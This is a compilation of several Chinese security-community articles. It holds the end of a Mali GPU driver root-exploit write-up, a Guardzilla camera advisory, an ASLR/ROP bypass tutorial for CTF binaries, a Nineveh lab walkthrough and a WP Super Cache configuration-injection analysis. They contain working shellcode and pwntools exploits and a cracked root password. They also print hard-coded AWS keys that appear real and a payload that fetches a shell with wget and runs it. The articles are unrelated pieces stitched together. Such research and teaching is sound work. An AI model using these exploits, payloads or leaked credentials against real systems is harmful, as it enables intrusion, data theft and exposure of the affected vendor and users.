### ROOT提权
由于我们可以映射大量的物理页，这些页有可能用于保存应用代码或者数据，也有可能保存内核代码或者数据。实际上，内核暴露了大量的数据结构，实现ROOT提权的方法多种多样。这里就不一一介绍了，下面是我在某手机上实现的本地提权（100%成功率）
## 补丁
漏洞发生的主要原因是别名操作中对`gpu_alloc->gpu_mappings`增加计数滞后，导致在`mmap`系统调用之前，相关的物理页加入待释放列表。补丁的思路是将`gpu_alloc->gpu_mappings`增加计数提前到`kbase_mem_alias()`：
drivers/gpu/arm/b_r19p0/mali_kbase_core_linux.c
1681 u64 kbase_mem_alias(struct kbase_context *kctx, u64 *flags, u64 stride,
1682 u64 nents, struct base_mem_aliasing_info *ai,
1683 u64 *num_pages)
1684 {
1762 for (i = 0; i < nents; i++) {
1763 if (ai[i].handle.basep.handle < BASE_MEM_FIRST_FREE_ADDRESS) {
1773 } else {
1774 struct kbase_va_region *aliasing_reg;
1775 struct kbase_mem_phy_alloc *alloc;
1776
1777 aliasing_reg = kbase_region_tracker_find_region_base_address(
1778 kctx,
1779 (ai[i].handle.basep.handle >> PAGE_SHIFT) << PAGE_SHIFT);
1804 alloc = aliasing_reg->gpu_alloc;
1812 reg->gpu_alloc->imported.alias.aliased[i].alloc = kbase_mem_phy_alloc_get(alloc);
1813 reg->gpu_alloc->imported.alias.aliased[i].length = ai[i].length;
1814 reg->gpu_alloc->imported.alias.aliased[i].offset = ai[i].offset;
+ /* Ensure the underlying alloc is marked as being
+ * mapped at >1 different GPU VA immediately, even
+ * though mapping might not happen until later.
+ *
+ * Otherwise, we would (incorrectly) allow shrinking of
+ * the source region (aliasing_reg) and so freeing the
+ * physical pages (without freeing the entire alloc)
+ * whilst we still hold an implicit reference on those
+ * physical pages.
+ */
+ kbase_mem_phy_alloc_gpu_mapped(alloc);
1817 }
1818 }
1873 }
## 总结
本文详细分析位于ARM Mali GPU驱动中的一个逻辑漏洞。这个漏洞可以帮助攻击者：
1 窃取其他APP运行时内存数据
2 修改其他APP代码
3 窃取内核运行时内存数据
4 稳定地获得ROOT权限
在此之前，据我所知，没有公开资料介绍如何利用该漏洞。而本文指出了一种可行方法：借助OpenCL绕过GPU私有指令集，实现GPU读写任意内存。
* * * | 社区文章 |
CVE-2018-5560：Guardzilla IoT摄像机硬编码凭证漏洞
# 概述
研究人员发现Guardzilla Security Video System Model #:
GZ521WB中存在一个硬编码凭证漏洞，CVE编号为CVE-2018-5560。该漏洞是Guardzilla Security Camera
固件中Amazon Simple Storage Service
(S3，简单存储服务)凭证设计和实现过程中的一个漏洞。因为凭证是硬编码的，所以黑客不需要高超的技术就可以访问这些S3存储凭证。研究人员进一步分析发现，硬编码的凭证对该账号的所有S3
bucket有无限访问权限。虽然在测试过程中没有访问到用户数据，但是嵌入的S3凭证可以被用于查看和下载相关bucket中保存的文件和视频。
### 受影响产品
Guardzilla All-In-One Video Security
System（视频安全多合一系统）是一个提供室内视频监控的家内安全平台。目前确认GZ501W型号受到影响，其他型号未进行测试。
# 技术分析
研究人员从芯片中提取出固件，发现其中含有SquashFS文件系统和Journaling Flash File System version 2
(JFFS2)文件系统。
因为这些文件系统是用binwalk提取的，因此可以在Message of The Day (MOTD)看到下面的字符串：
`Copyright (C) 2005 Faraday Corp. www.faraday.com.tw`
`/etc/shadow`文件中含有root管理员账号的DES加密密码：
`root:MvynOwD449PkM:0:0:99999:7:::`
因为DES从2005年就被破解了，因此可以很容易地破解：
hashcat -m 1500 -a 3 -o ../guardzilla.found -O -i --increment-min=8 --increment-max=12 -w 3 -t 50 ../guardzilla.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a
Session..........: hashcat
Status...........: Cracked
Hash.Type........: descrypt, DES (Unix), Traditional DES
Hash.Target......: MvynOwD449PkM
Time.Started.....: Tue Oct 2 07:36:30 2018 (3 hours, 35 mins)
Time.Estimated...: Tue Oct 2 11:12:06 2018 (0 secs)
Guess.Mask.......: ?a?a?a?a?a?a?a?a [8]
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 1176.6 MH/s (49.11ms) @ Accel:8 Loops:1024 Thr:256 Vec:1
Speed.Dev.#2.....: 776.5 MH/s (106.80ms) @ Accel:16 Loops:1024 Thr:256 Vec:1
Speed.Dev.#*.....: 1953.0 MH/s
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 25226596581376/39062500000000 (64.58%)
Rejected.........: 0/25226596581376 (0.00%)
Restore.Point....: 201580544/312500000 (64.51%)
Candidates.#1....: sarKrvcz -> 9poL82dw
Candidates.#2....: AiLwoz3x -> jE3iABuo
HWMon.Dev.#1.....: Temp: 66c Fan: 99% Util: 99% Core:1797MHz Mem:5005MHz Bus:8
HWMon.Dev.#2.....: Temp: 82c Fan: 99% Util:100% Core:1632MHz Mem:4513MHz Bus:8
破解的密码是： `GMANCIPC`
在启动过程中，init脚本会启动`boot.sh`，该脚本会启动`/mnt/mtd/startapp`和
`/home/daemon.exe`。startapp资源会启动配置底层视频设置的`vg_boot.sh`和`main.exe`。下表表示`main.exe`和`daemon.exe`的二进制信息：
## 嵌入的S3凭证无限访问策略
研究人员在IDA Pro中分析固件，并从中提取出二进制文件来确定其中是否存在漏洞。研究人员编译main.exe并分析类似AWS凭证的字符串集合：
然后可以看到是从标记的二进制文件的输出：`accessKey, secretAccessKey, hostname, bucket`。该格式与AWS
bucket key的设计是一致的：
下面的脚本可以测试S3凭证来确定凭证是否有效以及凭证的访问权限：
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')
try:
result = s3.get_bucket_policy(Bucket='motion-detection')
print(result)
except Exception as e:
print(e)
运行脚本产生的错误表明`motion-detection bucket`的嵌入凭证中没有特定的策略存在：
An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist
修改脚本可以列出嵌入的凭证可用访问的S3 buckets：
import boto3
# Create an S3 client
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP34RKL7GGV7OQ',aws_secret_access_key='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',region_name='us-west-1')
try:
result = s3.list_buckets()
print(result)
except Exception as e:
print(e)
运行脚本可用列出嵌入凭证可以访问的buckets：
{
'Buckets': [{
'CreationDate': datetime.datetime(2017, 2, 16, 21, 52, 52, tzinfo = tzutc()),
'Name': 'elasticbeanstalk-us-west-2-036770821135'
}, {
'CreationDate': datetime.datetime(2018, 4, 5, 15, 45, 22, tzinfo = tzutc()),
'Name': 'facial-detection'
}, {
'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 15, tzinfo = tzutc()),
'Name': 'free-video-storage'
}, {
'CreationDate': datetime.datetime(2018, 3, 9, 20, 7, 19, tzinfo = tzutc()),
'Name': 'free-video-storage-persist'
}, {
'CreationDate': datetime.datetime(2016, 8, 15, 19, 53, 12, tzinfo = tzutc()),
'Name': 'gz-rds-backups'
}, {
'CreationDate': datetime.datetime(2017, 11, 8, 19, 37, 44, tzinfo = tzutc()),
'Name': 'gz-test-bucket'
}, {
'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 29, tzinfo = tzutc()),
'Name': 'motion-detection'
}, {
'CreationDate': datetime.datetime(2017, 11, 8, 19, 38, 47, tzinfo = tzutc()),
'Name': 'premium-video-storage'
}, {
'CreationDate': datetime.datetime(2018, 3, 9, 20, 6, 47, tzinfo = tzutc()),
'Name': 'premium-video-storage-persist'
}, {
'CreationDate': datetime.datetime(2018, 1, 25, 20, 41, 16, tzinfo = tzutc()),
'Name': 'rekognition-video-console-demo-cmh-guardzilla-2918n05v5rvh'
}, {
'CreationDate': datetime.datetime(2017, 5, 17, 16, 1, 9, tzinfo = tzutc()),
'Name': 'setup-videos'
}, {
'CreationDate': datetime.datetime(2018, 1, 24, 23, 0, 39, tzinfo = tzutc()),
'Name': 'wowza-test-bucket'
}],
'Owner': {
'ID': 'a3db77fe2a21093a2f0d471b0a9677f8aff7c3c7b7a4944b752ccc0c3a4a4af7',
'DisplayName': 'geoff'
}
}
使用PACU AWS框架决定了嵌入凭证没有权限获取策略的更多信息：
{
"AccessKeyId": "AKIAJQDP34RKL7GGV7OQ",
"Arn": "arn:aws:iam::036770821135:user/motion-detection",
"Roles": null,
"KeyAlias": "Guardzilla",
"AccountId": "036770821135",
"UserId": "AIDAJQRSLLW52U7GLHFYE",
"Groups": [],
"Policies": [],
"Permissions": {
"Deny": {},
"Allow": {}
},
"SecretAccessKey": "igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa",
"UserName": "",
"RoleName": null,
"SessionToken": null,
"PermissionsConfirmed": false
}
## OpenSSL 1.0.1g多漏洞
研究人员还发现该固件中引用了一个过期的OpenSSL库。下面是OpenSSL库1.0.1g已公布的漏洞情况：
**CVE-2016-0705**
OpenSSL1.0.2及之前版本和1.0.1及之前版本的`crypto/dsa/dsa_ameth.c`文件中的`dsa_priv_decode`函数中存在双重释放漏洞。远程攻击者可借助恶意的DSA私钥利用该漏洞造成拒绝服务（内存损坏）。
**CVE-2015-0292**
OpenSSL存在拒绝服务漏洞，此漏洞可导致内存破坏及程序崩溃。此漏洞位于base64-decoding中`crypto/evp/encode.c`内的`EVP_DecodeUpdate`函数。原因是`EVP_DecodeUpdate`函数内的整数下溢。远程攻击者通过构造的base64数据触发缓冲区溢出，利用此漏洞。
**CVE-2014-8176**
OpenSSL
0.9.8zg、1.0.0m、1.0.1h之前版本，`ssl/d1_lib.c`内的函数`dtls1_clear_queues`不安全地释放数据结构，没有考虑应用数据会在`ChangeCipherSpec`及`Finished`消息之间到达，存在安全漏洞，远程攻击者利用此漏洞可造成拒绝服务(内存破坏及应用崩溃）
**CVE-2016-0797**
OpenSSL
1.0.2及更早版本、1.0.1及更早版本在函数`BN_hex2bn/BN_dec2bn`的实现上存在安全漏洞，可导致空指针间接引用及堆破坏等问题。
**CVE-2015-0287**
此漏洞位于`crypto/asn1/tasn_dec.c`的`ASN1_item_ex_d2i`函数实现内，原因是由于没有重新初始化`CHOICE`及`ADB`数据结构。远程攻击者通过构造的应用利用此漏洞可导致无效写操作、内存破坏及程序崩溃。
研究人员还发现Guardzilla默认用`ipc login`提示符来监听`23`端口。大量的UDP流量被发送到一个US-EAST-2
Amazon服务器。HTTP请求有：
54.68.243.114 (ec2-54-68-243-114.us-west-2.compute.amazonaws.com)
http://54.68.243.114/apns/apns.php?cmd=reg_server&uid=G1KEXWU2BPWHCFZ5111A
http://54.68.243.114/apns/apns.php?cmd=raise_event&uid=G1KEXWU2BPWHCFZ5111A&event_type=1&event_time=1538239032
52.218.200.66 (s3-us-west-2-w.amazonaws.com)
研究人员分析二进制文件发现了一些外部IP地址和外部数据源。下表表示main.exe中识别出的外部IP地址和数据源：
<https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/> | 社区文章 |
# 如何绕过ASLR
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在开始介绍如何绕过aslr的技术之前，先说一下aslr和pie的区别。因为刚开始接触这一块时，我看网上好多帖子都将两者混为一谈。
### ASLR
ASLR 不负责代码段以及数据段的随机化工作，这项工作由 PIE 负责。但是只有在开启 ASLR 之后，PIE 才会生效。
Linux下的ASLR总共有3个级别，0、1、2
* 0就是关闭ASLR，没有随机化，堆栈基地址每次都相同，而且libc.so每次的地址也相同。
* 1是普通的ASLR。mmap基地址、栈基地址、.so加载基地址都将被随机化，但是堆没用随机化
2是增强的ASLR，增加了堆随机化
可以使用`cat /proc/sys/kernel/randomize_va_space`查看是否开启了aslr
关闭aslr：`echo 0 >/proc/sys/kernel/randomize_va_space`
### PIE
PIE叫做代码部分地址无关，PIE能使程序像共享库一样在主存任何位置装载，这需要将程序编译成位置无关，并链接为ELF共享对象。如果不开启PIE的话，那么每次ELF文件加载的地址都是相同的。如果开启PIE，那么每次都会不同。
下面给大家演示一下aslr的效果：
测试代码：
#include<stdio.h>
int main(int argc,char *argv[])
{
char buffer[50];
printf("buffer is at %pn",&buffer);
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
效果如图：
libc加载的基地址和堆栈空间都在变化
## 类型一：没有开启栈不可执行
当没有开始NX的时候，自然而然想到shellcode。但是由于系统开启了aslr,在内存布局随机化排列时，攻击者不能将执行权返回正在等待的shellcode。
这里可以借助execl()函数。
execl()函数声明如下：
extern int execl(_const char __path,const char_ _argv[],…,NULL)
简单解释：函数execl()返回值定义为整形，如果执行成功将不返回！执行失败返回-1。
参数列表中char
*_path为所要执行的文件的绝对路径，从第二个参数argv开始为执行新的文件所需的参数，最后一个参数必须是控指针（我为了简便用NULL代替）。
先给大家演示一下效果：
#include<stdio.h>
#include<unistd.h>
int main(int argc,char *argv[])
{
int stack_var;
printf("stack_var is at %pn",&stack_var);
execl("./aslr_demo","aslr_demo",NULL);
}
虽然excel（）在执行新进程时，会有一定的程度的随机排列的发生，但是使用execl（）至少可以限制随机性，为我们提供活动地址的范围，余下不确定性可以用nop填充。
前面的aslr_demo程序存在明显的栈溢出，没有限制参数的大小，这里就以这个例子为例。经过测试溢出点为80，因为比较简单，直接给出exp：
#include<stdio.h>
#include<unistd.h>
#include<string.h>
unsigned char shellcode[]="xb0x46x31xdbx31xc9xcdx80x68x90x90x90x68x5bxc1xebx10xc1xebx08x53x68x2fx62x61x73x68x2fx62x69x6ex89xe3x31xc0xb0x0bxcdx80xb0x01xb3x01xcdx80";;
int main(int argc,char *argv[]){
unsigned int i,ret,offest;
char buffer[1000];
printf("i is at %pn",&i);
if(argc>1)
offest =atoi(argv[1]);
ret =(unsigned int)&i-offest+200;
printf("ret addr is %pn",ret);
for(i=0;i<90;i++)
*((unsigned int *)(buffer+i))=ret;
memset(buffer+84,0x90,900);
memcpy(buffer+900,shellcode,sizeof(shellcode));
execl("./aslr_demo","aslr_demo",buffer,NULL);
}
使用gcc编译时加上-m32参数，64位程序地址相差较大
解释一下：注入大概1000个字节的nop，用于跳转到shellcode的位置，因为开始了aslr所以无法直接准确定位到shellcode的准确地址，所以采用nop填充来跳转至大概范围即可。返回地址加上200可以跳过覆盖所使用的前90个字节。
但是执行的时候失败了，我认为是gcc版本编译的问题，下面会详细说。exp思想和编写都没有问题。而且在实际pwn中，很难见到不开启NX的情况，所以我也没有深究这个问题。只是为下面如何在开启NX的情形下，绕过aslr做基础，引入一种思想。
## 类型二：开启NX保护
### 方法一：
#include <string.h>
#include <stdio.h>
int call(){
return system("/bin/sh");
}
int main(){
char buf[400];
fgets(buf,405,stdin);
printf("%s",buf);
printf("%d",strlen(buf));
}
编译时加上参数m32
代码如上，这是某个比赛的题目，但是在编写文档之前，找了很久也没有找到，就模仿它的思想，写了一个类似的程序，为了方便演示，直接给出了后门函数call（）。
这个题还有点小坑，因为是在我自己16.04.2-Ubuntu版本上编译的，我的gcc版本是5.4.，gcc高版本中做了优化，而且经过测试，只对32位程序有效。所以大家在测试的时候加上m32参数。
大家注意一下细节，esp中的值是由ecx决定的，
mov ecx,DWORD PTR [ebp-0x4]
lea esp,[ecx-0x4]
也就是说你无法像常规那种直接控制返回地址，只能间接的去控制ecx来控制esp。
查看一下文件保护：
还有一个坑，就是我在源程序中，buf缓冲区给了400的空间，但是fgets（）函数只能读入405个字节，看似是个溢出点，但是根本覆盖不了返回值，也不能覆盖ecx。但是魔高一尺，道高一丈，还是有办法的。
先贴出exp：
from pwn import *
context.log_level = 'debug'
ret = p32(0x0804833a)
system = p32(0x080484cb)
r= process('./buf1')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(r)[0])
shellcode = ret*100+ system
print len(shellcode)
r.sendline(shellcode)
r.interactive()
通过调试可以发现，ecx的低二位被覆盖为00，导致堆栈被抬高至填充有ret覆盖的地址上去，执行完填充的大量ret之后，直接system函数拿到shell。
但是为什么ecx低二位会被覆盖的，罪魁祸首是fgets()函数。这个函数会在字符串末位填充一个字符放结束符x00.
其实这个题的原理和上面讲的那个shellcode原理大同小异。控制eip转到esp指向的地址，开启了aslr无法预知到准确地址，用nop填充即可，可以增加实现的几率。
成功拿到shell
## 类型三：构造ROP链
这是一道今年六一的时候去武汉参加全国大学生信息安全竞赛（华中赛区）的一道题目
[题目下载](https://pan.baidu.com/s/1qFlr0zRBoZFyBxx8HzA_CA)
提取码：krxy
## 题目内容
先看开了什么保护，做到心中有数。
日常放入ida，在加密函数内，可以很容易的找到溢出的，数组s大小只有48，但是却用了gets函数来接收输入，并且没有限制输入长度，导致溢出。
## 思路：
* 利用gets函数溢出覆盖返回值，构造rop
* 利用puts函数leak
得到libc基址，调用system（）函数拿shell
#### 简单介绍一下rop：简单介绍一下rop：
ROP全称为Return-oriented
Programming（面向返回的编程）是一种新型的基于代码复用技术的攻击，攻击者从已有的库或可执行文件中提取指令片段，构建恶意代码。ROP攻击同缓冲区溢出攻击，格式化字符串漏洞攻击不同，是一种全新的攻击方式,它利用代码复用技术。
简单用实例演示一下rop攻击流程，图上是overflow后，调用exit()函数
1.overflow覆盖掉old ebp
2.塞入gadget1
3.塞入要调用函数的系统调用号，exit()的系统调用号为1，具体的可以在([https://w3challs.com/syscalls/?arch=x86)中查询](https://w3challs.com/syscalls/?arch=x86\)%E4%B8%AD%E6%9F%A5%E8%AF%A2)
4.系统调用，执行exit()函数。
完成了一个简单的rop。
## 解题流程
根据思路构造payload
`payload = offset+
p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)`
`payload_2 = offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)`
第一步:根据
可知构造0x50+0x7个字节覆盖ebp。因为这个题目在获取输入之后后对输入进行简单的处理。
所以payload在构造的时候
`payload = 'l' *7+ 'x00' + 'a'*80`
由于gets（）函数遇到x00截断，所以这样构造可以避免对payload进行加密。
tips:在比赛的时候忽略了这个，还傻傻写解密算法，浪费了时间，我是第四个提交的，要不还能拿个三血啥的。
第二步：寻找合适的gadget片段。又因为System V AMD64 ABI (Linux、FreeBSD、macOS 等采用)
中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9
寄存器中，如果还有更多的参数的话才会保存在栈上。而puts只需一个的传入，所以需要找pop rdi;ret用 pop
指令将栈顶数据弹入寄存器。ret到puts函数
第三步：在ida中查找puts函数在got表和plt表中的位置。
先讲一下leak为什么要找这两个位置
GOT(Global Offset
Table)：全局偏移表用于记录在ELF文件中所用到的共享库中符号的绝对地址。在程序刚开始运行时GOT表项是空的，当符号第一次被调用时会动态解析符号的绝对地址然后转去执行，并将被解析符号的绝对地址记录在GOT中，第二次调用同一符号时，由于GOT中已经记录了其绝对地址，直接转去执行即可，不用重新解析。
PLT(Procedure Linkage
Table)：过程链接表的作用是将位置无关的符号转移到绝对地址。当一个外部符号被调用时，PLT去引用GOT中的其符号对应的绝对地址，然后转入并执行。
还要涉及linux的延迟绑定机制
当程序需要调用某个外部函数时，首先到 PLT 表内寻找对应的入口点，跳转到 GOT 表中。如果这是第一次调用这个函数，程序会通过 GOT 表再次跳转回
PLT 表，运行地址解析程序来确定函数的确切地址，并用其覆盖掉 GOT 表的初始值，之后再执行函数调用。当再次调用这个函数时，程序仍然首先通过 PLT
表跳转到 GOT 表，此时 GOT 表已经存有获取函数的内存地址，所以会直接跳转到函数所在地址执行函数。整个过程如下
第一次调用：
第二次：
延迟绑定的核心思想是函数第一次被用到时才进行绑定，这种做法可以大大加速程序的启动速度，特别有利于一些有大量函数引用和大量模块的软件。
从上边不难看出，got表中存的是函数的绝对地址，也就是基址加上offest后的地址，也正是我们期望泄露的地址。
明白了概念，就在ida中找吧。
puts_got：
puts_plt:
第四步：找到main函数地址，让程序执行了puts()函数之后，跳回main函数继续执行
前部分leak payload至此已经构造完成，测试
泄露的地址为7ffff7a7c690
第五步：根据后三位去libc-database中查找libc版本
查找结果有两个，因为脚本为本地运行，所以是第一个，实战中可以用python的一个模块去检测，下边会说。
第六步：把对应libc库拷贝下来，放入ida，查找
puts_off
system_off
bin_off
所有的地址都已经找齐，exp脚本如下：
from pwn import *
context.log_level = True
p = process('./Emachine')
p.recvuntil("choice!n")
p.sendline('1')
p.recvuntil("encryptedn")
puts_plt = 0x4006e0
puts_off = 0x6F690
put_addr = 0x7ffff7a7c690
bin_off = 0x18CD57
system_off = 0x45390
payload = 'l' *7+ 'x00' + 'a'*80
payload = payload + p64(0x400c83) + p64(0x602020) + p64(0x4006e0) + p64(0x4009a0)
p.sendline(payload)
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
payload = 'l' *7+ 'x00' + 'a'*80
payload = payload + p64(0x400c83) + p64(put_addr - puts_off + bin_off) +p64(put_addr - puts_off + system_off)
p.sendline(payload)
p.recvline()
p.recvline()
p.interactive()
其实写到这里有人会说，这道题这么简单，而且有很多py模块可以通过一个方法就可以完成你的这些手工找的工作，但是我想说的是，做什么事其实都不能过分的去依赖工具，一定要知道它的实质，看似一条命令就可以找到地址，但是一定要知道函数调用流程，这样会让你对问题有更加深刻的理解。
我是学逆向入门ctf这个坑的，学了两年，刚开始也是依赖于od,ida,peid,windbg,edb……这些工具，但是我们导师就给我指出了了不足，一定要知道这些工具的底层实现方法，这样才能走的更高，走的更远。比如od的下段指令F2,看似很简单不就是一个，但是你想过它的原理和中断执行流程，以及计算机硬件是如何实现的，想过它的优缺点吗？我在学习逆向的时候，就看了计算机组成原理，更深入的理解了中断系统在CPU中的作用和地址。简单说一下int
3断点也就是OD中的F2:
原理：改变断点地址处的第一个字节为CC指令，在OD中不显示
缺点：容易被检测到，如检测MessageBoxA处CC断点
优点：可以设置无数个
非常推荐大家看一下程序用的自我修养这本书，看完之后对elf文件的理解会更上一层楼。学pwn一定要对堆栈调用，程序装载，链接，常见溢出的利用方法了如指掌。基础很重要，千万不要依赖工具，要知道工具背后的原理。
#### 贴出来exp2：
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
r = process("./Emachine")
file = ELF("./Emachine")
puts_plt = file.plt['puts']
puts_got = file.got['puts']
main_addr = file.symbols['main']
r.recvuntil("Input your choice!n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encryptedn")
offset = 'l' *7+ 'x00' + 'a'*80
pop_rdi_addr = 0x0000000000400c83
payload = offset+ p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.recvuntil("Ciphertextn")
r.recvuntil("n",drop=True)
puts_addr = u64(r.recvuntil("n",drop=True)+"x00x00")
obj = LibcSearcher("puts", puts_addr)
libc_puts = obj.dump("puts")
base_addr = puts_addr-libc_puts
system_addr = base_addr + obj.dump("system")
bash_off = obj.dump("str_bin_sh")
binsh_addr = bash_off+base_addr
payload_2 = offset + p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
r.recvuntil("Input your choice!n")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encryptedn")
r.sendline(payload_2)
r.recv()
r.recv()
sleep(0.2)
r.interactive()
[一些用于泄露libc版本的工具](https://www.jianshu.com/p/8d2552b8e1a2)
## 结语
给大家安利几个我学pwn时候收集的几个优秀资源吧。
<https://zhuanlan.zhihu.com/p/25816426>
<https://ctf-wiki.github.io/ctf-wiki/pwn/readme/>
这个视频非常推荐！！！！！！！
[https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gAROb](https://www.youtube.com/channel/UC_PU5Tk6AkDnhQgl5gARObA)
文章中如有错误和不足，希望各位大佬，能批评指正 | 社区文章 |
# 渗透测试实战-Nineveh靶机测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## # 前言
该靶机原本是某个在线CTF平台的解题靶机，国外大神不知使用什么姿势把OVA发布在了某平台上，被本菜下载来了。通过介绍得知本靶机以拿到
**/root/root.txt** 文件为完成。
## 准备环境
VirtualBox 192.168.1.51
kali linux 192.168.1.101
ova靶机下载地址： <https://pan.baidu.com/s/1mD5a3AIFRJ-JmTleu0W0qg>
**注：本机系统内已默认写入IP“192.168.0.105”，如有需要就自行修改IP** （本菜是修改了IP）
## 实操
神器nmap开路
发现只开放了80、443
2个端口，我们访问443端口，老规矩看证书，里面肯定有包含特殊信息：“[[email protected]](mailto:[email protected])”，如图：
通过证书，只有一张图片，那我们进行用爆破工具跑一下，如御剑等等，本菜用dirb
访问/db/ 发现使用phpliteadmin v1.9 这么明显标示的肯定是有问题的，不用怀疑google搜一波,发现存在远程命令执行漏洞
根据要求我们需要创建一个数据库，那么前提就算破解这个密码了，上burp,加载上字典这波操作过于简单，小弟就不放图浪费大佬们时间了，得到密码为：
**password123**
登录成功后按照漏洞资料上的操作,先创建一个名为“ninevehNotes1.php”的数据库（为什么要用这个名字纳，后面会提到！）
表名处随便添，在最后执行语句中可以添加自己常用的马，本菜使用msf的php马，如<?php system(“wget
<http://192.168.1.101/shell.txt> -O /tmp/shell11.php; php /tmp/shell11.php”);
?>
一切准备就绪，我们还差一个能触发的点，我们继续回到80端口，还是一样开启神器爆破目录
发现目录访问 <http://192.168.1.51/department/> 简单测试知道帐号为admin（标示明显）
密码进行挂上字典爆破 **得到密码： 1q2w3e4r5t**
登录在<http://192.168.1.51/department/manage.php?notes=files/ninevehNotes.txt>
是一个简单任意文件读取，但是这里的读取文件是被写入白名单里的，就是它只能读取结尾带‘ninevehNotes’的文件，测试如图：
我们用这个配合上前面的漏洞执行拿shell
POC：
**<http://192.168.1.51/department/manage.php?notes=/var/tmp/ninevehNotes1.php>**
但是这个权限还算不够的，我们只能通过提权做进一步操作。大家肯定都直接想到脏牛提权了，但是本靶机没有这个漏洞，本菜在进行磁盘查看的时候，发现一个叫“/report”的文件夹，通过查看里面的文件发现是一个rootkit检测工具的实时报告文件，如图
本菜使用比较笨的方法，就是把所知道的关于rookit的检测工具都进行全盘搜索，最后定位到使用了“chkrootkit”，
通过查看其版本号和配置信息结合google搜索，发现一个本地提权漏洞，而MSF也已经有该利用脚本，如图：
通过该漏洞最终拿下来root权限并得到flag：
本靶机还可以通过获取ssh key 来提权，ssh key写在一个名叫“nineveh.png”图片内，如图：
有兴趣的小伙伴可以自己研究一下。
**如果哪里写的不对，望清各位大佬斧正！感谢各位观看！** | 社区文章 |
# 0x00 概述
202103，网上曝出WordPress Plugin WP Super Cache 1.7.1 Remote Code Execution
(Authenticated)漏洞。
该漏洞需要登录wp后台。
这是个典型的”写入配置文件getshell”的例子。
# 0x01 漏洞分析
WordPress 常用函数trailingslashit()：调用untrailingslashit()并在末尾添加 /
untrailingslashit()：移除字符串右侧的\和/两个字符。
dirname()：函数返回路径中的目录名称部分
realpath()：函数返回绝对路径。该函数删除所有符号连接（比如 '/./', '/../' 以及多余的
'/'），并返回绝对路径名。如果失败，该函数返回 FALSE。
basename()：函数返回路径中的文件名部分
rtrim()：函数移除字符串右侧的空白字符或其他预定义字符。
realpath函数会把结尾的/去掉。
最后传入$cache_path这个字符串，更新后的缓存路径，wp-cache-config.php文件。
$new即更新后的$cache_path，用户可控！
构造：
$cache_path = 'evil_input'; //Added by WP-Cache Manager
首先闭合前面的单引号，再注释掉后面的‘;即可
由于用//注释会被basename()去掉，所以用#来达到注释的效果。
最终payload:
';system($_GET[0]);#
或者：
这个payload也可以
/cache/';system($_GET[0]);?><!--
但是会有很多warning，而且格式混乱了不够美观。
# 0x02 漏洞重现
env：wordpress5.8+wp super cache1.4.8+phpstudy+php7.0.12+mysql5.5.53
<https://wordpress.org/plugins/wp-super-cache/>
只关注第31行即可
$cache_path = WP_CONTENT_DIR . '/cache/';
网上某篇分析文章的截图：
首先使用payload:
d:\wordpress_path/cache/';system($_GET['x']);#
发现payload没有写入进wp-cache-config.php，第31行内容没有变化，并且web页面反馈正常。
## 波折1：不可写？
首先怀疑是写入权限的问题
缓存位置输入框下有这样的提示：
很快排除这个可能，因为：
1：phpstudy是本地用户启动，权限够高。
2：wp super cache插件设置页面也提示wp-content路径可写。
3：尝试使用正常值aaa更新写入成功。
注意到修改成功会有个rename()的warning
## 波折2：版本问题？
其次想到是否是wp super cache不同版本会有细微的不同处理导致该payload失效，
遂尝试wp super cache 1.7.1，也是一样的效果。
故受版本影响的概率极小，暂时排除版本问题。
## 波折3：关键代码测试
抠出关键的两段代码，对关键变量进行输出测试。
复制/wp-include/formatting.php和wp-cahce-config.php到测试目录，再稍微修改关键代码即可。
结果发现该payload可以顺利写入，所以依旧没能找到原因，准备大刀阔斧利用phpstorm进行wordpress动态调试了。
## 波折4：输入处理？
继而想到可能wordpress/wp super cache某地方有做
$_POST[‘wp_cache_location’]
的过滤处理，结合波折2及相关分析，感觉概率极小，故暂时排除。
## 波折5：逐个排除特殊字符
既然正常值aaa没问题，而payload出现问题，那只可能是payload中的特殊字符有问题了。
先输入单引号，出现报错，可以写入单引号
d:\wordpress_path/cache/'
当输入到
D:\wordpress_path/cache/';system($_GET['])
中括号出现一个单引号，web页面反馈正常，wp-cache-config.php文件31行无变化，写入失败，
两个单引号也一样，那么问题就是在这位置的单引号了，更换payload。
成功payload:
d:\wordpress_path/cache/';system($_GET[0]);#
直接在当前的wp super cache设置页面传参即可
[http://127.0.0.1:8899/lsawebtest/vulweb/wordpress/wordpress-v5-8/wp-admin/options-general.php?page=wpsupercache&tab=settings&0=whoami](http://127.0.0.1:8899/lsawebtest/vulweb/wordpress/wordpress-v5-8/wp-admin/options-general.php?page=wpsupercache&tab=settings&0=whoami)
经测试发现/cache/这个不能改，否则还是没效果。
或者需要改成存在的缓存文件夹（如前面波折1测试生成的aaa文件夹就行）
再回头看看网上某分析文章的代码：
为什么输入了中括号内有单引号还成功就不得而知了。（可能是截图放错了，实际使用的payload是没单引号那个）
# 0x03 漏洞修复
查看v1.7.4版本，增加了正则替换相关特殊字符为空，暂时没想到绕过方法。
